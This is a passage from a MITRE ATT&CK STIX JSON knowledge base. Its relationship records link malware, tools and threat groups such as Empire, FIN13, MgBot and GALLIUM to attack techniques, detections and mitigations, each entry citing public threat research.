2022)","modified":"2022-07-25T16:18:52.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85dc96ac-ec8e-4e15-ba4b-807c1a7b46cc","type":"relationship","created":"2019-03-11T15:04:51.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.255Z","description":"[Empire](https://attack.mitre.org/software/S0363) contains multiple modules for injecting into processes, such as Invoke-PSInject.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--85ddf8c4-92fe-4f48-b47c-78bf06ba44d6","created":"2022-03-30T14:26:51.837Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for Windows API calls that may clear Windows Event Logs to hide the activity of an intrusion.","modified":"2022-04-20T13:03:02.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85e909bd-e5c0-423d-b3cd-410dad3b8b91","created":"2024-06-10T19:40:03.699Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:40:03.699Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) final payload installation includes mounting and binding to the \\/proc\\/ filepath on the victim system to enable subsequent operation in memory while also removing on-disk artifacts.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85ec27f0-77c3-4896-9934-cac7b73c87e9","created":"2024-07-25T20:33:17.127Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"},{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:33:17.127Z","description":"[MgBot](https://attack.mitre.org/software/S1146) can capture clipboard data.(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85ee8dfa-7f36-406a-a87c-97633530bdda","type":"relationship","created":"2020-07-17T15:48:51.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.042Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can execute remote commands using Windows Management Instrumentation.(Citation: CME Github September 2018)\t","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--85eeec51-34a1-421f-aae2-892843dfd19d","created":"2022-03-25T16:21:29.226Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) can communicate with its C2 using HTTP.(Citation: NTT Security Flagpro new December 2021) ","modified":"2022-04-13T16:45:17.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85f30e9c-08f6-48d6-a25d-47ef1c51ebab","created":"2024-03-29T12:38:56.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T03:08:09.252Z","description":"Anti-virus can be used to automatically detect and quarantine suspicious files, including those with high entropy measurements or with otherwise potentially malicious signs of obfuscation.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85fda77f-5129-4de7-bc44-f81ccc46f6d9","created":"2023-02-14T18:36:46.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:34:17.920Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) has the ability to take a screenshot of the infected host desktop using Windows GDI+.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8600308b-3a73-40bd-bca0-970477ca11fb","type":"relationship","created":"2020-09-24T14:35:41.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.495Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can secure delete its DLL.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--860147c4-3eb8-4909-8a02-081e67347ba7","created":"2023-07-28T16:43:53.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:48:20.526Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used HTTP requests to chain multiple web shells and to contact actor-controlled C2 servers prior to exfiltrating stolen data.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8602e7cd-6b35-405f-9466-cf6bb5a07240","created":"2023-09-30T21:25:23.499Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T21:25:23.499Z","description":"Monitor and inspect commands and arguments associated with manipulating the power settings of a system.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8604868a-8226-4c03-a5b2-bedfc4020865","type":"relationship","created":"2022-02-01T21:07:18.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T21:07:18.365Z","description":"[Ferocious](https://attack.mitre.org/software/S0679) can use COM hijacking to establish persistence.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86079dc0-0c46-4068-a2f1-9422d81a03be","type":"relationship","created":"2020-05-08T20:02:19.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:17:50.243Z","description":"[Inception](https://attack.mitre.org/groups/G0100) used a file hunting plugin to collect .txt, .pdf, .xls or .doc files from the infected host.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8607f9cc-dd15-49a8-8e6a-55e1338591e9","type":"relationship","created":"2021-09-22T21:17:31.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:17:31.957Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used whoami commands to identify system owners.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86169d65-b154-402d-918c-4b4602d71cd0","type":"relationship","created":"2021-10-12T20:28:11.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://airbus-cyber-security.com/the-eye-of-the-tiger/","description":"Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.","source_name":"Bizeul 2014"}],"modified":"2021-10-12T23:11:41.587Z","description":"[PittyTiger](https://attack.mitre.org/groups/G0011) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [gsecdump](https://attack.mitre.org/software/S0008).(Citation: Bizeul 2014)","relationship_type":"uses","source_ref":"intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--861f1959-eeda-41e3-b8c4-f85c24f1794a","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86245eed-44d6-4a2a-ad83-1dd6a700a7be","created":"2023-01-23T20:00:23.249Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-23T20:00:23.249Z","description":"[Prestige](https://attack.mitre.org/software/S1058) has the ability to register new registry keys for a new extension handler via `HKCR\\.enc` and `HKCR\\enc\\shell\\open\\command`.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86246bef-ad4c-4c30-805a-d6f1928a7c20","type":"relationship","created":"2019-07-19T17:14:24.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T19:50:15.363Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used WinRAR to compress and encrypt stolen data prior to exfiltration.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--862470eb-b43a-42d9-ab06-4ca6fbc3671d","type":"relationship","created":"2020-07-21T19:02:06.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2020-07-21T19:02:06.344Z","description":"[APT30](https://attack.mitre.org/groups/G0013) has used spearphishing emails with malicious DOC attachments.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--862d150d-ea3c-439e-9a56-b877935e5262","type":"relationship","created":"2020-09-09T15:45:49.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-09-09T15:45:49.103Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used malicious documents to lure victims into allowing execution of PowerShell scripts.(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--862e9ef0-a45f-4001-ad56-4432de517d80","created":"2024-05-22T21:38:49.931Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:38:49.931Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) contains an embedded, AES-encrypted resource named METADATA that contains configuration information for follow-on execution.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8630a3fb-9f65-4c54-b3d6-c379d03029dc","type":"relationship","created":"2021-03-01T14:07:36.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.441Z","description":"[LookBack](https://attack.mitre.org/software/S0582) can take desktop screenshots.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8631491d-bda8-4eee-93ec-5f3fc6340c3f","created":"2020-07-15T19:28:00.720Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has decrypted and loaded the [gh0st RAT](https://attack.mitre.org/software/S0032) DLL into memory, once the initial dropper executable is launched.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:10:47.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--86333028-9eb1-44a3-9a5a-51fffe66f0e1","created":"2019-01-29T20:17:49.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"},{"source_name":"TrendMicro Tropic Trooper Mar 2018","description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:27:20.495Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has encrypted configuration files.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Felismus Mar 2017","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}],"modified":"2020-03-17T01:16:15.825Z","description":"[Felismus](https://attack.mitre.org/software/S0171) checks for processes associated with anti-virus vendors.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--864def70-2079-4015-8852-d77e19dd086c","type":"relationship","created":"2020-03-14T23:08:20.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-15T00:46:26.692Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.(Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--864fdbd1-99fe-4036-a296-241c53337d85","type":"relationship","created":"2020-05-12T12:49:52.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). 